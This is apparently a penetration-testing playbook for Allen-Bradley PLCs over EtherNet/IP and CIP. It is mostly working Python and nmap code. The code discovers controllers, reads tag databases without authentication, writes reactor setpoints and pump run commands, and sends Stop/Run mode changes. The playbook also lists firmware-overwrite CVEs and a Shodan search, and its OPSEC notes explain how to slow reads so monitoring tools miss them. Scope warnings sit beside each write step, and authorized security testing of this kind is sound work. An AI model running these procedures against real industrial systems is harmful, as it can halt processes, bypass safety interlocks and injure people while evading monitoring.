EtherNet/IP + CIP Attack Playbook (TCP 44818 / UDP 2222)
EtherNet/IP is the dominant North American ICS protocol — every Allen-Bradley ControlLogix, CompactLogix, and MicroLogix ships with it enabled by default. CIP (Common Industrial Protocol) rides on top. Most deployments have no authentication at the CIP layer: if you can reach TCP 44818, you can read the full tag database and, in scope, write to process variables or change PLC execution state.
SAFETY FIRST
CIP write operations (Write() on tags) and mode-change commands (Stop, Run, Reset) affect physical process equipment. A mode-change to Stop immediately halts the PLC program — the controlled process (conveyor, motor, pump, valve) goes to its fail-safe state or de-energizes. Confirm written scope authorization for any write/control-class operation. Read and enumerate operations (tag list, controller info, identity) are safe.
Prerequisites
# Install pylogix (Allen-Bradley EtherNet/IP client)
pip install pylogix
# Install cpppo (Rockwell EtherNet/IP / CIP toolkit)
pip install cpppo
# nmap EtherNet/IP scripts
# Built-in: enip-info.nse (ships with Nmap >= 7.80)
nmap -p 44818 --open -sV 10.0.0.0/24
Phase 1 — Discover
UDP 2222 List Identity broadcast
UDP 2222 carries the ENIP "List Identity" command — no session, no authentication. Send a broadcast and all EtherNet/IP devices on the subnet respond with vendor, product name, serial number, firmware revision, and IP.
# Using cpppo enip command-line
python3 -m cpppo.server.enip.list_identity 10.0.0.255
# Or unicast:
python3 -m cpppo.server.enip.list_identity 10.0.0.5
# Example output:
# {'product_name': 'ControlLogix5580', 'vendor_id': 1, 'device_type': 14,
# 'product_code': 166, 'revision': {'major': 33, 'minor': 11},
# 'serial_number': '0xA1B2C3D4', 'status': 12340}
# nmap enip-info script (TCP 44818)
nmap -p 44818 --script enip-info 10.0.0.5
# Returns: VendorID, DeviceType, ProductCode, Revision, Serial, ProductName, State
# pylogix PLC info — TCP 44818
from pylogix import PLC
with PLC() as comm:
comm.IPAddress = "10.0.0.5"
info = comm.GetPLCTime()
print("PLC time:", info.Value)
props = comm.GetModuleProperties(0)
print("Module:", props.Value)
Phase 2 — Tag database enumeration (unauthenticated on ControlLogix/CompactLogix)
ControlLogix and CompactLogix expose the entire controller tag database via CIP symbolic segment reads — no authentication required. This includes tag names, data types, dimensions, and access attributes.
from pylogix import PLC
with PLC() as comm:
comm.IPAddress = "10.0.0.5"
# Enumerate all controller-scoped tags
tags = comm.GetTagList()
print(f"[*] Found {len(tags.Value)} controller tags")
for tag in tags.Value:
print(f" {tag.TagName:<40} Type={tag.DataType:<20} Dim={tag.Dimensions}")
# Enumerate program-scoped tags (programs inside the controller)
programs = comm.GetProgramList()
for prog in programs.Value:
prog_tags = comm.GetProgramTagList(prog)
print(f"\n[*] Program '{prog}': {len(prog_tags.Value)} tags")
for tag in prog_tags.Value:
print(f" {prog}:{tag.TagName:<36} Type={tag.DataType}")
Tag names are often self-describing in production environments:
PumpStation_1.RunCmd— pump run command coilValve_FV_101.OpenCmd— valve open commandReactor_TIC_201.SP— temperature setpointSafety_SIL2.BypassActive— safety interlock bypass flag
Phase 3 — Read tags
from pylogix import PLC
with PLC() as comm:
comm.IPAddress = "10.0.0.5"
# Read a single tag
result = comm.Read("PumpStation_1.RunCmd")
print(f"PumpStation_1.RunCmd = {result.Value} (Status: {result.Status})")
# Read multiple tags in one request (efficient)
tag_list = [
"Reactor_TIC_201.SP",
"Reactor_TIC_201.PV",
"Valve_FV_101.OpenCmd",
"Safety_SIL2.BypassActive",
]
results = comm.Read(tag_list)
for r in results:
print(f" {r.TagName} = {r.Value} Status={r.Status}")
# Read array elements
array_result = comm.Read("RecipeArray[0]", 10) # read 10 elements from index 0
print("Recipe[0:10]:", array_result.Value)
Phase 4 — Write tags (SAFETY GATE — write-class authorization required)
STOP. Confirm written scope authorization before this phase. Writing process control tags may energize/de-energize actuators immediately.
from pylogix import PLC
# Write a BOOL tag
with PLC() as comm:
comm.IPAddress = "10.0.0.5"
# Example: write a setpoint — requires authorization
result = comm.Write("Reactor_TIC_201.SP", 85.0)
print(f"Write SP: {result.Status}")
# Example: write a BOOL control tag — requires authorization
result = comm.Write("PumpStation_1.RunCmd", 1)
print(f"Write RunCmd: {result.Status}")
Write status codes: Success = write accepted by PLC; PathSegmentError = bad tag name; ServiceError = PLC in Program mode or inhibited.
Phase 5 — CIP mode change: Stop / Run / Reset
Mode change via CIP is a direct PLC execution-state change. Stop halts the ladder/function-block program. Reset is a cold restart.
import cpppo
from cpppo.server.enip import client
# CIP explicit messaging to change PLC mode
# Rockwell ControlLogix CIP Service 0x0F (Set Attribute Single)
# Object: 0x01 (Identity Object), Instance 1, Attribute 10 (Controller State)
# Mode: 0x01 = Run, 0x02 = Program (Stop)
def set_plc_mode(ip, mode_val, port=44818):
"""
mode_val: 0x01 = Run, 0x02 = Program (effectively Stop)
Requires write-class scope authorization.
"""
operations = [
{
"method": "set_attribute_single",
"path": "@0x01/1/10",
"data": [mode_val],
}
]
with client.connector(host=ip, port=port) as conn:
for op in operations:
conn.set_attribute_single(
path=op["path"],
data=op["data"],
)
conn.collect(timeout=2)
print(f"Mode change to {mode_val:#04x} sent")
# set_plc_mode("10.0.0.5", 0x02) # Stop (Program mode) — halts PLC program
# set_plc_mode("10.0.0.5", 0x01) # Run
Alternatively, pylogix provides a direct wrapper:
with PLC() as comm:
comm.IPAddress = "10.0.0.5"
# Some pylogix versions expose:
comm.GetPLCTime() # verify connectivity first
# comm.Write("_RunMode", 0) # vendor-specific; verify tag exists first
Phase 6 — Historical Rockwell auth-bypass CVEs
| CVE | Product | Description | CVSS |
|---|---|---|---|
| CVE-2021-27478 | Studio 5000 Logix Designer | Unauth remote code execution via CIP messaging | 10.0 |
| CVE-2022-1159 | Rockwell Automation FactoryTalk | Executable injection via DLL hijack path | 7.7 |
| CVE-2023-3595 | ControlLogix 1756 (firmware <= 33.011) | Path traversal in CIP service; unauthenticated firmware read/write | 9.8 |
| CVE-2023-3596 | GuardLogix 1756 | Same family — safety controller variant | 9.8 |
| CVE-2024-6242 | ControlLogix 1756 | CIP Trusted Slot mechanism bypass — pivot between chassis slots | 8.4 |
CVE-2023-3595 / 3596 (Claroty "LogiSploit") is the most relevant for live engagements — unauthenticated firmware upload/download against unpatched ControlLogix. Patch check:
# Firmware version from pylogix
with PLC() as comm:
comm.IPAddress = "10.0.0.5"
props = comm.GetModuleProperties(0)
print("Firmware:", props.Value)
# Compare against Rockwell Security Advisory RLSA-2023-0026
# Affected: < v33.012 (1756-EN2* family)
Common findings
| Finding | MITRE | Impact |
|---|---|---|
| Internet-exposed EtherNet/IP (Shodan: port:44818) | T0882 | Direct PLC access from internet |
| No CIP authentication — tag list readable | T0855 | Full process variable visibility |
| Tag write accepted without auth | T0836 | Direct process manipulation |
| PLC mode change accepted (Stop) | T0816 | Halt production line |
| Flat IT/OT VLAN — office → PLC direct | T0814 | Lateral movement from compromised workstation |
| Unpatched ControlLogix (CVE-2023-3595) | T0839 | Firmware read/write, persistent implant |
| Safety PLC (GuardLogix) reachable | T0857 | Safety system manipulation |
Evidence
kg_add_node(
kind="finding",
label="EtherNet/IP unauthenticated tag access",
props={
"key": f"enip-cip-anon::{target_ip}",
"protocol": "enip-cip",
"port": 44818,
"product_name": "<ProductName>",
"firmware_revision": "<major.minor>",
"tag_count": len(tags.Value),
"writable": False, # set True only after confirmed write-scope
"source": "pylogix-taglist",
},
)
ZFP (two-method evidence)
pylogix GetTagList()output showing tag count + representative tag names with data types.pylogix Read()result for at least one process variable showing a live value (e.g., temperature, pressure, motor state).
If write testing was authorized: include Write() result showing Status=Success and a Read back confirming value change.
OPSEC notes
- EtherNet/IP has no built-in audit log at the CIP layer. Tag reads are silent to most OT security platforms unless a Nozomi/Claroty NDR is deployed with flow-level inspection.
- High-frequency polling (e.g., reading all tags in a tight loop) is detectable as anomalous traffic volume. Space enumeration reads out.
- Mode-change commands (Stop/Program) generate an event in the PLC's event log (RSLogix Diagnostics > General Fault). This persists across power cycles.
- Shodan regularly indexes internet-facing EtherNet/IP; pre-engagement Shodan search for the target's IP space can reveal exposure level before active scanning.
- CVE-2023-3595 exploit PoC (Claroty): confirm firmware version before using; firmware write is destructive and may brick the controller.
References
- pylogix — github.com/dmroeder/pylogix
- cpppo — github.com/pjkundert/cpppo
- ODVA EtherNet/IP and CIP Specifications — odva.org
- Claroty Team82 "LogiSploit" (CVE-2023-3595/3596) — claroty.com/team82
- CVE-2024-6242 Rockwell Trusted Slot bypass — icsadvisory.ot-security.io
- ICS-CERT Rockwell advisories — cisa.gov/uscert/ics/advisories
- "Exploiting Industrial Control Systems" — Reid Wightman, S4 Conference
- Shodan dork reference — https://www.shodan.io/search?query=port%3A44818